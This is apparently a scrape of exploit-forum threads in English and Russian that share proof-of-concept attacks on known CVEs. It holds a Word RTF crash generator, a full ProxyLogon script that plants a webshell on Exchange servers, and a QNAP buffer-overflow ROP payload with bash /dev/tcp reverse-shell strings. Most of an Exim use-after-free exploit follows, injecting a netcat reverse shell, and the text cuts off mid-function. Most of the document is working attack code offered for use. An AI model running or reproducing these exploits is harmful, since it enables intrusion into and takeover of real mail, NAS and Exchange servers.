The following Python script will generate a file that will trigger this issue:

Python:Copy to clipboard

#!/usr/bin/python
#
# PoC for:
# Microsoft Word RTF Font Table Heap Corruption Vulnerability
#
# by Joshua J. Drake (@jduck)
#

import sys

# allow overriding the number of fonts
num = 32761
if len(sys.argv) > 1:
    num = int(sys.argv[1])

f = open("tezt.rtf", "wb")
f.write("{\\rtf1{\n{\\fonttbl")
for i in range(num):
    f.write("{\\f%dA;}\n" % i)
f.write("}\n")
f.write("{\\rtlch it didn't crash?? no calc?! BOO!!!}\n")
f.write("}}\n")
f.close()

Testing Notes

Running Microsoft Word repeatedly with this malformed input will trigger "Safe
Mode" as well as a file-specific block list. To observe the behavior that a
victim user would see, the tester should flush the "Safe Mode" flag and
file-specific block list before re-testing. Otherwise, simply declining "Safe
Mode" and clicking "Open Anyway" is sufficient for re-tests.

Using heavy breakpoints (such as those supplied below) in WinDbg and enabling
Page Heap can slow the startup process significantly. The researcher observed
situations during testing where the vulnerable code was not reached. Minimal
effort was invested to determine the cause, but it appears to be related to a
combination of Page Heap, heavy breakpoints, and a "What's new" dialog popup.

Appendix

The following script was used within WinDbg to generate the above output. All
excerpts were obtained using Office 365 Insider Preview 2211 Build 15831.20122
CTR.

Code:Copy to clipboard

* clear all breakpoints
bc *
* hide the debugger
e ebx+2 00
* run until wwlib is loaded
xe ld:wwlib
g; wait
* make the breakpoints
* watch index calculations
bp wwlib+0x37f0bd ".printf \"*** edx will become: 0x%x (from 0x%x+0x%x*2)\\n\", (ecx+edx*2), ecx, edx;gc"
* watch the writes
bp wwlib+0x37f0c3 ".printf \"*** writing 0x%x to 0x%x [0x%x+0x%x*2+4] (div 3: 0x%x)\\n\", ecx & 0xffff, (esi+(edx*2)+4), esi, edx, edx/3;gc"
g

EOF

CVE-2023-25136 - Double-free vulnerability in OpenSSH 9.1
ID: 67686ba3b4103b69df379bf0
Thread ID: 83054
Created: 2023-03-02T16:29:55+0000
Last Post: 2023-03-05T15:47:14+0000
Author: propensity
Prefix: Remote
Replies: 6 Views: 2K

Описание

CVE-2023-25136, a pre-authentication double-free vulnerability, has been fixed in OpenSSH version 9.2p1. The vulnerability is highly severe, with a CVSS score of 9.8, and could be used to cause a denial-of-service (DoS) or remote code execution (RCE).

OpenSSH is a free and open-source tool for secure remote communication and access. Administrators and developers widely use it, and it is compatible with various operating systems.

CVE-2023-25136 affects the default configuration of OpenSSH version 9.1p1 (sshd).

Click to expand...

POC

github.com

[ GitHub - Christbowel/CVE-2023-25136: OpenSSH 9.1 vulnerability mass

scan and exploit ](https://github.com/Christbowel/CVE-2023-25136)

OpenSSH 9.1 vulnerability mass scan and exploit. Contribute to Christbowel/CVE-2023-25136 development by creating an account on GitHub.

github.com github.com

Click to expand...

ManageEngine CVE-2022-47966
ID: 67686ba3b4103b69df379bf4
Thread ID: 81619
Created: 2023-02-09T14:11:49+0000
Last Post: 2023-02-15T04:44:51+0000
Author: Zodiac
Prefix: Remote
Replies: 3 Views: 2K

vuln allow rce because of Apache xmlsec....

github.com

[ GitHub - horizon3ai/CVE-2022-47966: POC for CVE-2022-47966 affecting

multiple ManageEngine products ](https://github.com/horizon3ai/CVE-2022-47966)

POC for CVE-2022-47966 affecting multiple ManageEngine products - GitHub - horizon3ai/CVE-2022-47966: POC for CVE-2022-47966 affecting multiple ManageEngine products

github.com github.com

кто-то использовал это
любой другой хороший эксплойт

CVE-2022-41412, CVE-2022-41413
ID: 67686ba3b4103b69df379c08
Thread ID: 76958
Created: 2022-11-29T13:22:56+0000
Last Post: 2022-12-15T00:48:32+0000
Author: fakeid
Prefix: Web
Replies: 1 Views: 2K

Vendor: perfSONAR
Link: https://github.com/perfsonar/
Affected Versions: v4.x <= v4.4.4
Vulnerability Type: Open Proxy Relay
Vulnerability Family: CGI Abuses
Discovered by: Ryan Moore
CVE: CVE-2022-41412
perfSONAR bundles with it a graphData.cgi script, used to graph and visualize data. There is a flaw in graphData.cgi allowing for unauthenticated users to proxy and relay HTTP/HTTPS traffic through the perfSONAR server. The vulnerability can potentially be leveraged to exfiltrate or enumerate data from internal web servers.

This vulnerability was patched in perfSONAR v4.4.5.

There is a whitelisting function that will mitigate, but is disabled by default.

h ttps://github.com/renmizo/CVE-2022-41412


Vendor: perfSONAR
Link: https://github.com/perfsonar/
Affected Versions: v4.x <= v4.4.5
Vulnerability Type: Partial Blind CSRF
Discovered by: Ryan Moore
CVE: CVE-2022-41413

A partial blind CSRF vulnerability exists in perfSONAR v4.x <= v4.4.5 within the /perfsonar-graphs/ test results page. Parameters and values can be injected/passed via the URL parameter, forcing the client to connect unknowingly in the background to other sites via transparent XMLHTTPRequests. This partial blind CSRF bypasses the built-in whitelisting function in perfSONAR.

This vulnerability was patched in perfSONAR v4.4.6.

_

github.com

[ GitHub - renmizo/CVE-2022-41413

](https://github.com/renmizo/CVE-2022-41413)

Contribute to renmizo/CVE-2022-41413 development by creating an account on GitHub.

github.com github.com

_

RCE, (MSDT) office, CVE-2022-30190
ID: 67686ba3b4103b69df379c28
Thread ID: 67844
Created: 2022-05-29T22:33:03+0000
Last Post: 2022-07-27T03:54:48+0000
Author: 0xCC
Prefix: Local
Replies: 25 Views: 2K

executing code in MS Office without a macro

doublepulsar.com

[ Follinaâââa Microsoft Office code execution vulnerability

](https://doublepulsar.com/follina-a-microsoft-office-code-execution- vulnerability-1a47fce5629e)

Two days ago, Nao_sec identified an odd looking Word document in the wild, uploaded from an IP address in Belarus:

doublepulsar.com doublepulsar.com

Microsoft Exchange Shell Upload
ID: 67686ba3b4103b69df379c2f
Thread ID: 49999
Created: 2021-03-29T11:24:33+0000
Last Post: 2022-07-20T21:01:30+0000
Author: DarckSol
Prefix: Web
Replies: 3 Views: 2K

Code:Copy to clipboard

# Copyright 2021 Praetorian Security, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import requests
import urllib
import base64
import json
import sys
import re

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

from impacket import ntlm

class Proxy(object):

    def __init__(self, frontend, backend, proxy=None):
        self.user_agent = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36'
        if proxy:
            self.proxies = {'https': proxy}
        else:
            self.proxies = {}
        self.session = requests.Session()
        self.frontend = frontend
        self.backend = backend

    def send(self, r):
        r.cookies = self.session.cookies
        r.cookies['X-BEResource'] = f'[:[@{self.backend}:444{r.url}#~1941962753'
        r.headers['User-Agent'] = self.user_agent
        r.url = f'{self.frontend}/ecp/favicon.ico'
        return self.session.send(r.prepare(), verify=False, proxies=self.proxies)

if __name__ == '__main__':
    import argparse

    parser = argparse.ArgumentParser(description='proxylogon proof-of-concept')
    parser.add_argument('--frontend', type=str, help='external url to exchange (e.g. https://exchange.example.org)')
    parser.add_argument('--email',    type=str, help='valid email on the target machine')
    parser.add_argument('--sid',      type=str, help='exchange admin sid')
    parser.add_argument('--webshell', type=str, help='webshell to upload')
    parser.add_argument('--path',     type=str, help='desired path to webshell on host')
    parser.add_argument('--backend',  type=str, help='[optional] backend host (leaked in X-CalculatedBETarget)')
    parser.add_argument('--proxy',    type=str, help='[optional] proxy traffic (e.g. http://127.0.0.1:8080)')
    args = parser.parse_args()

    webshell = open(args.webshell).read()
    if '%' in webshell:
        raise Exception('payload may not contain %')
    if len(webshell) > 246:
        raise Exception('payload must be less than 246 bytes')
    if '\n' in webshell:
        print('Removing newlines from webshell')
        webshell = webshell.replace('\n', '')

    if not args.email and not args.sid:
        print('Must provide either an email or SID')
        sys.exit(1)

    if not args.backend:
        print('Retrieving backend via RPC')
        ntlmHash = str(base64.b64encode(ntlm.getNTLMSSPType1().getData()))[2:-1]
        r = requests.Request('RPC_IN_DATA', f'{args.frontend}/rpc/rpcproxy.dll')
        r.headers['Authorization'] = f'NTLM {ntlmHash}'
        sess = requests.Session()
        if args.proxy:
            proxies = {'https': args.proxy}
        else:
            proxies = {}
        r = sess.send(r.prepare(), verify=False, proxies=proxies)
        if r.status_code != 401:
            raise Exception(f'RPC NTLM Session Auth received {r.status_code}')
        serverChallengeBase64 =  re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', r.headers['WWW-Authenticate']).group(1)
        serverChallenge = base64.b64decode(serverChallengeBase64)
        challenge = ntlm.NTLMAuthChallenge(serverChallenge)
        hashData = ntlm.AV_PAIRS(challenge['TargetInfoFields'])
        args.backend = str(hashData.fields[3][1], 'utf-16')
        print(f'Backend: {args.backend}')

    p = Proxy(args.frontend, args.backend, proxy=args.proxy)

    if args.email is not None:
        url = '/autodiscover/autodiscover.xml'
        r = requests.Request('POST', url)
        r.headers['Content-Type'] = 'text/xml'
        r.data = f'<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>{args.email}</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover> '
        r = p.send(r)
        if r.status_code != 200:
            raise Exception(f'Unexpected autodiscover status {r.status_code}')

        legacyDn = re.search('<LegacyDN>(.*)</LegacyDN>', r.text).groups()[0]
        mailboxId = re.search('<Server>(.*)</Server>', r.text).groups()[0]

        url = f'/mapi/emsmdb/?mailboxId={mailboxId}'
        r = requests.Request('POST', url)
        r.headers['X-RequestType'] = 'Connect'
        r.headers['X-RequestId'] = '12345678-1234-1234-1234-1234567890ab'
        r.headers['X-ClientApplication'] = 'MapiHttpClient/15.2.464.5'
        r.headers['Content-Type'] = 'application/mapi-http'
        r.headers['Accept'] = '*/*'
        # esmdb message taken from packet captures and then modified to remove extra data by setting extra length to 0
        mapiReqTemplate = '%s\x00\x00\x00\x00\x00\x9fN\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        r.data = mapiReqTemplate % legacyDn
        r = p.send(r)
        if r.status_code != 200:
            raise Exception(f'Unexpected mapi status {r.status_code}')
        sidMatch = re.search('with SID (S-1-5-[\d-]+)', r.text).groups()[0]
        print(f'Identified SID: {sidMatch}')
        adminSid = '-'.join(sidMatch.split('-')[:-1]) + '-500'
        print(f'Admin SID: {adminSid}')
        args.sid = adminSid

    print('Authenticating via proxylogon')
    url = '/ecp/proxyLogon.ecp'
    r = requests.Request('POST', url)
    r.headers['msExchLogonMailbox'] = args.sid
    r.data = f'<r at="" ln=""><s>{args.sid}</s></r>'
    r = p.send(r)
    if r.status_code != 241:
        raise Exception(f'Unexpected proxylogon status {r.status_code}')
    csrf = r.cookies['msExchEcpCanary']

    print('Looking up OAB virtual directory')
    params = {
        'workflow': 'GetForSDO',
        'schema': 'OABVirtualDirectory',
        'msExchEcpCanary': csrf,
    }
    url = f'/ecp/DDI/DDIService.svc/GetObject?{urllib.parse.urlencode(params)}'
    r = requests.Request('POST', url)
    r.headers = {
        'Content-Type': 'application/json',
        'msExchLogonMailbox': args.sid,
    }
    r.data = '{}'
    r = p.send(r)
    if r.status_code != 200:
        raise Exception(f'Unexpected GetObject status {r.status_code}')

    directories = r.json().get('d', {}).get('Output', [])
    if not directories:
        raise Exception('Failed to find OAB directory')
    oab = directories[0]
    name = oab.get('Identity', {}).get('DisplayName', 'Unknown')
    print(f'OAB virtual directory: {name}')

    print('Injecting payload into OAB ExternalUrl')
    params = {
        'schema': 'OABVirtualDirectory',
        'msExchEcpCanary': csrf,
    }
    url = f'/ecp/DDI/DDIService.svc/SetObject?{urllib.parse.urlencode(params)}'
    r = requests.Request('POST', url)
    r.headers = {
        'Content-Type': 'application/json',
        'msExchLogonMailbox': args.sid,
    }
    r.data = json.dumps({
        'identity': oab.get('Identity'),
        'properties': {
            'Parameters': {
                '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
                'ExternalUrl': f'http://o/#{webshell}',
            }
        }
    })
    r = p.send(r)
    if r.status_code != 200:
        raise Exception(f'Unexpected SetObject status {r.status_code}')

    print('Resetting OAB virtual directory')
    params = {
        'schema': 'ResetOABVirtualDirectory',
        'msExchEcpCanary': csrf,
    }
    url = f'/ecp/DDI/DDIService.svc/SetObject?{urllib.parse.urlencode(params)}'
    r = requests.Request('POST', url)
    r.headers = {
        'Content-Type': 'application/json',
        'msExchLogonMailbox': args.sid,
    }
    r.data = json.dumps({
        'identity': oab.get('Identity'),
        'properties': {
            'Parameters': {
                '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
                'FilePathName': args.path,
            }
        }
    })
    r = p.send(r)
    if r.status_code != 200:
        raise Exception(f'Unexpected SetObject status {r.status_code}')

    print(f'Enjoy your webshell!')

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Ffdc20af8a8fd42872f5ad7f7150edc6b848ff5b3cf03ec57646e93a641347878%2Fpraetorian- inc%2Fproxylogon-exploit&hash=27583d3777abe44a0398bf998539ea24&return_error=1)

[ GitHub - praetorian-inc/proxylogon-exploit: Proof-of-concept exploit

for CVE-2021-26855 and CVE-2021-27065. Unauthenticated RCE in Exchange. ](https://github.com/praetorian-inc/proxylogon-exploit)

Proof-of-concept exploit for CVE-2021-26855 and CVE-2021-27065. Unauthenticated RCE in Exchange. - praetorian-inc/proxylogon-exploit

github.com github.com

RCE, Qnap NAS, CVE-2020-2501
ID: 67686ba3b4103b69df379c6d
Thread ID: 50725
Created: 2021-04-16T14:31:05+0000
Last Post: 2022-01-01T20:32:55+0000
Author: baykal
Prefix: Remote
Replies: 9 Views: 2K

В сети появился эксплоит для уязвимости в устройствах Qnap NAS, на которых работает система управления видеонаблюдением Surveillance Station.

Проблема связана с повреждением информации в памяти и влияет на устройства, работающие с Surveillance Station версий 5.1.5.4.2 и 5.1.5.3.2. Баг был устранен разработчиками в феврале этого года с релизом Surveillance Station версии 5.1.5.4.3 для 64-разрядных NAS на процессорах ARM и x86, а также в версии 5.1.5.3.3 для 32-разрядных NAS с процессором ARM и x86.

Уязвимость имеет идентификатор [CVE-2020-2501](https://www.qnap.com/zh- tw/security-advisory/qsa-21-07) и представляет собой переполнение буфера стека, которым удаленные злоумышленники могут злоупотреблять для выполнения кода в уязвимой системе без аутентификации.

На этой неделе компания SSD Secure Disclosure опубликовала [детали проблемы](https://ssd-disclosure.com/ssd-advisory-qnap-pre-auth- cgi_find_parameter-rce/), а также PoC-эксплоит. Согласно SSD, уязвимость сосредоточена вокруг небезопасного использования данных, предоставленных пользователем. Злоумышленник может отправить специально созданный HTTP-запрос на уязвимое устройство, что приведет к переполнению буфера, используемого модулем Surveillance Station, и в итоге станет возможно выполнение произвольного кода.

PoC

Python:Copy to clipboard

import requests
import threading
from struct import *

p = lambda x: pack("<L", x)

def run(session, data):
    res = [session.post("http://192.168.1.2:8080/cgi-bin/surveillance/apis/user.cgi", data) for i in range(5000)]

def main():
    with requests.Session() as s:
                payload = "A" * 3108
                payload += p(0x74a8eb8c) # pop {r0, r4, pc}
                payload += p(0x71154e28) # heap address
                payload += "BBBB"
                payload += p(0x74a636c4 + 1) # system
            
                data = {
            "act" : "login",
            "sid" : payload,
            "slep" : "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000 + "\x00" + "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000,
                }

                for i in range(30):
                    t = threading.Thread(target=run, args=(s, data))
                    t.start()
                
                

if __name__ == '__main__':
    main()
RCE, Exim, CVE-2020-28018
ID: 67686ba3b4103b69df379c84
Thread ID: 51926
Created: 2021-05-19T08:35:55+0000
Last Post: 2021-08-24T16:37:11+0000
Author: sandrasong
Prefix: Remote
Replies: 5 Views: 2K

PoC

C:Copy to clipboard

/*

    CVE-2020-28018 PoC: Exim Use-After-Free leading to Remote Code Execution

    - @lockedbyte -

    For more information on this exploit visit: https://adepts.of0x.cc/exim-cve-2020-28018/
    You can visit the official Qualys advisory here: https://www.qualys.com/2021/05/04/21nails/21nails.txt

*/


#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <malloc.h>
#include <string.h>
#include <time.h>
#include <sys/socket.h>
#include <resolv.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

/*
    You may need to change this config for this exploit to work
      on your specific version of exim, config, libc used etc
*/

/* -- START EXP CONFIG -- */

#define PIPLN_ITER 0x9 /* PIPLN_ITER fill for leak phase */
#define POST_PIPLN_ITER 0x2 /* POST_PIPLN_ITER fill for leak phase */
#define BASE_OFF 0x8fd90 /* offset from your leak to heap base */
#define STRCT_OV_PAD 0x8 /* padding for struct overwrite (alignment for struct overwrite) */
#define PRE_FILL_OV 0x3 /* pre-fill for struct overwrite */
#define POST_JUNK_ALIGN 0x708 /* POST_JUNK_ALIGN fill for struct overwrite */
#define SEND_SZ_OV 0x200 /* bytes to send so SEND_SZ_OV*DATA_X_ITER makes header max err happen */
#define DATA_X_ITER 0x800 /* number of times to send MSG to reach header max err */
#define EHLO_PAD 0x16e /* EHLO pad for heap requests */
#define CFG_QUERY "acl_check_mail" /* ACL used for MAIL FROM checking */

/* -- END EXP CONFIG */

/* -- START EXP SETTINGS -- */

unsigned int output_level = 0;
unsigned int pause_s = 0;
unsigned int escalate = 0;

#define DEBUG 0
#define DELAY_TIME 0.5 /* if connection is giving problems, increase this value */

/*-- END EXP SETTINGS -- */


#ifndef INJECT_CFG /* you can change the command here to another one, by default a netcat reverse shell to the specified host and port is executed */
    #define INJECT_CFG "acl_check_mail:(condition = ${run{/bin/sh -c 'nc -e/bin/sh %s %d'}})"
#endif

#ifndef FAIL
    #define FAIL -1
#endif

#ifndef HEXDUMP_COLS
    #define HEXDUMP_COLS 16
#endif

#ifndef MAX_HOST
    #define MAX_HOST 4096
#endif

#ifndef MAX_CONFIG_SZ
    #define MAX_CONFIG_SZ 1024
#endif

#ifndef MAX_PIPLN_SZ
    #define MAX_PIPLN_SZ 1024*1024
#endif

#ifndef MAX_STRUCT_OVERWRITE_SZ
    #define MAX_STRUCT_OVERWRITE_SZ 1024*1024 + 500
#endif

#ifndef ADDR_ANY_X
    #define ADDR_ANY_X "0.0.0.0"
#endif

#ifndef MAX_POST_PIPLN_SZ
    #define MAX_POST_PIPLN_SZ 1024*1024
#endif

#ifndef HEAP_RANGE_OFF
    #define HEAP_RANGE_OFF 0x100000 /* heap range where to search for config from heap base */
#endif

enum CONN_T {CLEARTEXT_T, TLS_T};

SSL_CTX *ctx = NULL;

unsigned int leak_flg = 0; /* are we leaking something on this data exchange? */
unsigned int data_flg = 0; /* is there data to show through hexdump? */
unsigned int found_flg = 0; /* is the config address found? */
unsigned int mem_flg = 0; /* is the memory we are sending binary data? or string? */

unsigned long READ_SZ = 0x1000; /* default read size to receive on arbitrary read */

unsigned long heap_base = NULL; /* we will save here heap base address when leaked */
unsigned long curr_heap = NULL; /* curr heap for config search */
unsigned long config_addr = NULL; /* when finding config address, we will save it here */

char *mem_exfil = NULL; /* used for exfiltrating memory */

/* --- START COMMANDS --- */

#define EHLO_CMD "EHLO pwner\n" /* EHLO msg */
#define STARTTLS_CMD "STARTTLS\n" /* command to start a TLS connection */
#define PIPLN_01_CMD_X "MAIL FROM: <>\nNO" /* MAIL FROM + pipeline first half NOOP */
#define PIPLN_02_CMD "OP\n" /* rest of NOOP */

/* --- END COMMANDS --- */


/* --- START CONN-RELATED FUNCTIONS --- */

/* connect to target server */

int remote_conn(const char *hostname, int port) {
    int sd = 0;
    struct hostent *host = NULL;
    struct sockaddr_in addr;
    if((host = gethostbyname(hostname)) == NULL) {
        puts("[-] Something went wrong resolving target hostname");
        exit(1);
    }
    sd = socket(PF_INET, SOCK_STREAM, 0);
    bzero(&addr, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = *(long*)(host->h_addr);
    if(connect(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
        close(sd);
    puts("[-] Something went wrong connecting to target");
    exit(1);
    }
    return sd;
}

/* OpenSSL's init CTX */

SSL_CTX *init_ctx_x(void) {
    SSL_METHOD *method = NULL;
    SSL_CTX *ctx = NULL;
    OpenSSL_add_all_algorithms();
    SSL_load_error_strings();
    method = TLSv1_2_client_method();
    ctx = SSL_CTX_new(method);
    if (ctx == NULL) {
        puts("[-] Something went wrong in init_ctx_x()");
        exit(1);
    }
    return ctx;
}

/* initialize encrypted connection channel */

SSL *initialize_enc_channel(int fd) {
    SSL *ssl = NULL;
    SSL_library_init();
    ctx = init_ctx_x();
    ssl = SSL_new(ctx);
    SSL_set_fd(ssl, fd);
    if(SSL_connect(ssl) == FAIL) {
        puts("[-] Something went wrong initializing encrypted channel");
        return NULL;
    }
    return ssl;
}

/* show server TLS certificates */

void show_certs(SSL* ssl) {
    X509 *cert = NULL;
    char *line = NULL;
    
    cert = SSL_get_peer_certificate(ssl);
    
    if (cert != NULL) {
        printf("[+] Server certificates:\n");
        line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
        printf("\t[i] Subject: %s\n", line);
        if(line)
            free(line);
        line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
        printf("\t[i] Issuer: %s\n", line);
        if(line) {
            free(line);
            line = NULL;
        }
        if(cert) {
            X509_free(cert);
            cert = NULL;
        }
    } else
        puts("[i] No client certificates configured");
        
    return;
}

/* close TLS session */

void close_tls_channel(SSL *ssl) {
    SSL_shutdown(ssl);
    SSL_free(ssl);
    return;
}


/* send data to server */

int send_data(long fd, char *buf, size_t size, int method_t) {
    int ret = 0;
    switch(method_t) {
        case CLEARTEXT_T:
            ret = write(fd, buf, size);
            break;
        case TLS_T:
            ret = SSL_write((SSL *)fd, buf, size);
            break;
        default:
            puts("[-] Unknown error ocurred.");
            exit(1);
    }
    return ret;
}

/* receive data from server */

int recv_data(long fd, char *buf, size_t size, int method_t) {
    int ret = 0;
    switch(method_t) {
        case CLEARTEXT_T:
            ret = read(fd, buf, size);
            break;
        case TLS_T:
            ret = SSL_read((SSL *)fd, buf, size);
            break;
        default:
            puts("[-] Unknown error ocurred.");
            exit(1);
    }
    return ret;
}

/* send-receive function with different implementations */

void exchange_data(long fd, char *buf, size_t size, int send_flg, int recv_flg, int method_t) {

    if(send_flg) {
            #if DEBUG
                printf("[DEBUG] Sending: %s\n", buf);
            #endif
            if(!mem_flg)
            send_data(fd, buf, strlen(buf), method_t);
        else
            send_data(fd, buf, mem_flg, method_t);
    }
    
    sleep(DELAY_TIME);
    
    if(recv_flg) {
        if(data_flg) {
            recv_data(fd, mem_exfil, READ_SZ, method_t);
        } else if(mem_flg && !data_flg) {
            recv_data(fd, buf, size, method_t);
        } else {
            recv_data(fd, buf, size, method_t);
            buf[size-1] = '\0';
        }
        #if DEBUG
            printf("%s", buf);
        #endif
        if(leak_flg) {
            puts("\n[+] Memory leak: \n");
            hexdump(buf, size/16);
            puts("");
            identify_leak(buf, size);
        } else if(data_flg) {
            #if DEBUG
                puts("\n[+] Output Data: ");
                hexdump(mem_exfil, size/16);
                puts("");
            #endif
            identify_config(mem_exfil, MAX_POST_PIPLN_SZ);
        }
    }
    
    sleep(DELAY_TIME);
    
    return;
}

/* print an hexdump of the given data */

void hexdump(void *mem, unsigned int len) {
        unsigned int i = 0, j = 0;
        for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
                if(i % HEXDUMP_COLS == 0)
                        printf("\t0x%06x: ", i);
                if(i < len)
                        printf("%02x ", 0xFF & ((char*)mem)[i]);
                else
                        printf("   ");
                if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
                        for(j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
                                if(j >= len)
                                        putchar(' ');
                                else if(isprint(((char*)mem)[j]))
                                        putchar(0xFF & ((char*)mem)[j]);       
                                else
                                        putchar('.');
                        }
                        putchar('\n');
                }
        }
}

/* identify data by query (CFG_QUERY) */

char *strstrx(const char *str1, size_t sz_1, const char *str2) {
    int i = 0;
    char *f = NULL;
    while(i < sz_1) {
        if(str1[i] == str2[0]) {
            if(memcmp(str1+i, str2, strlen(str2)) == 0) {
                f = str1+i;
                break;
            }
        }
        i++;
    }
    return f;
}

/* pause to use for each phase (just for debugging) */

void pausex(void) {
    char buf[1];
    read(0, buf, 1);
    return;
}

/* reinitialize a buffer for sending-receiving */

void reinit_mem(char *buf, size_t size, const char *str) {
    memset(buf, '\0', size);
    if(mem_flg) {
        memcpy(buf, str, mem_flg);
        return;
    }
    strncpy(buf, str, size);
    buf[size-1] = '\0';
    return;
}

/* parse data to identify config using CFG_QUERY */

void identify_config(char *buf, size_t size) {
    char *f = NULL;
    unsigned long r_ptr = NULL;
    buf[size-1] = '\0';
    f = strstrx(buf, size, CFG_QUERY);
    if(f) {
        found_flg = 1;
        r_ptr = curr_heap+(f-buf);
        config_addr = r_ptr;
    }
    return;
}

/* parse leak to identify heap pointers on data dump */

void identify_leak(char *buf, size_t size) {
    int i = 0, x = 0;
    uint64_t *leak = NULL;
    int addr_idx = 0;
    char lk[sizeof(uint64_t)];
    
    memset(lk, '\0', sizeof(lk));
    
    while(i < size) {
        if(buf[i++] == 0x55) {
            addr_idx = i+2;
            break;
        }
    }
    
    x = 0;
    while(x < sizeof(uint64_t)) {
        lk[x++] = buf[(addr_idx++)-8];
    }
    
    leak = &lk;
    heap_base = *leak - BASE_OFF;
    
    printf("\t[+] Leaked heap address = 0x%lx\n", *leak);
    printf("\t[+] Leaked heap_base = 0x%lx\n\n", heap_base);
    
    return;
}

/* info leak */

int leak_phase(char *hostname, int port) {

    long fd = 0;
    int count = 0;
    int i = 0, x = 0;
    SSL *ssl = NULL;
    char *PIPLN_01_CMD = NULL;
    char *POST_PIPLN = NULL;
    char buf[4096];

    memset(buf, '\0', sizeof(buf));

    PIPLN_01_CMD = calloc(MAX_PIPLN_SZ, sizeof(char));
    POST_PIPLN = calloc(MAX_POST_PIPLN_SZ, sizeof(char));
    
    if(output_level)
        printf("[+] Connecting to %s:%d\n", hostname, port);
    
    fd = remote_conn(hostname, port);
    
    exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);
    
    if(output_level)
        puts("[*] Sending EHLO...");
        
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    if(output_level)
        puts("[*] Initializing an encrypted TLS channel...");
        
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);
    
    if(!ssl)
        return;
    
    if(output_level)
        printf("[+] Initialized encrypted channel with %s:%d (%s)\n", hostname,     
                                                                port,
                                                           SSL_get_cipher(ssl));
    show_certs(ssl);
    
    if(output_level)
        puts("[*] Sending EHLO...");
        
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);

    reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    if(output_level)
        puts("[*] Sending pipelined command #1...");
    
    i = 0;
    while(i < PIPLN_ITER) {
        strncat(PIPLN_01_CMD, "RCPT TO: postmaster\n", MAX_PIPLN_SZ-1);
        i++;
    }
    strncat(PIPLN_01_CMD, "NO", MAX_PIPLN_SZ-1);

    reinit_mem(buf, sizeof(buf), PIPLN_01_CMD);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
    
    if(output_level)
        puts("[*] Closing TLS connection channel...");
        
    close_tls_channel(ssl);
    
    ssl = NULL;
    
    if(output_level)
        puts("[*] Sending pipelined command #2...");
        
    reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);

    for(int j = 0 ; j < POST_PIPLN_ITER ; j++)
        strncat(POST_PIPLN, "RCPT TO: root@localhost\n", MAX_POST_PIPLN_SZ-1);
    
    reinit_mem(buf, sizeof(buf), POST_PIPLN);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    if(output_level)
        puts("[*] Sending EHLO...");
    
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    if(output_level)
        puts("[*] Re-initializing an encrypted TLS channel...");
    
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);
    
    if(!ssl)
        return;
    
    if(output_level)
        printf("[+] Initialized encrypted channel with %s:%d (%s)\n", hostname,
                                                                    port,
                                                                 SSL_get_cipher(ssl));
    
    if(output_level)
        puts("[*] Triggering Use-After-Free...");
    
    leak_flg = 1;
    
    reinit_mem(buf, sizeof(buf), "NOOP\r\n");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    leak_flg = 0;
    
    if(PIPLN_01_CMD) {
        free(PIPLN_01_CMD);
        PIPLN_01_CMD = NULL;
    }

    if(POST_PIPLN) {
        free(POST_PIPLN);
        POST_PIPLN = NULL;
    }
    
    if(ssl) {
        SSL_free(ssl);
        ssl = NULL;
    }
    if(ctx) {
        SSL_CTX_free(ctx);
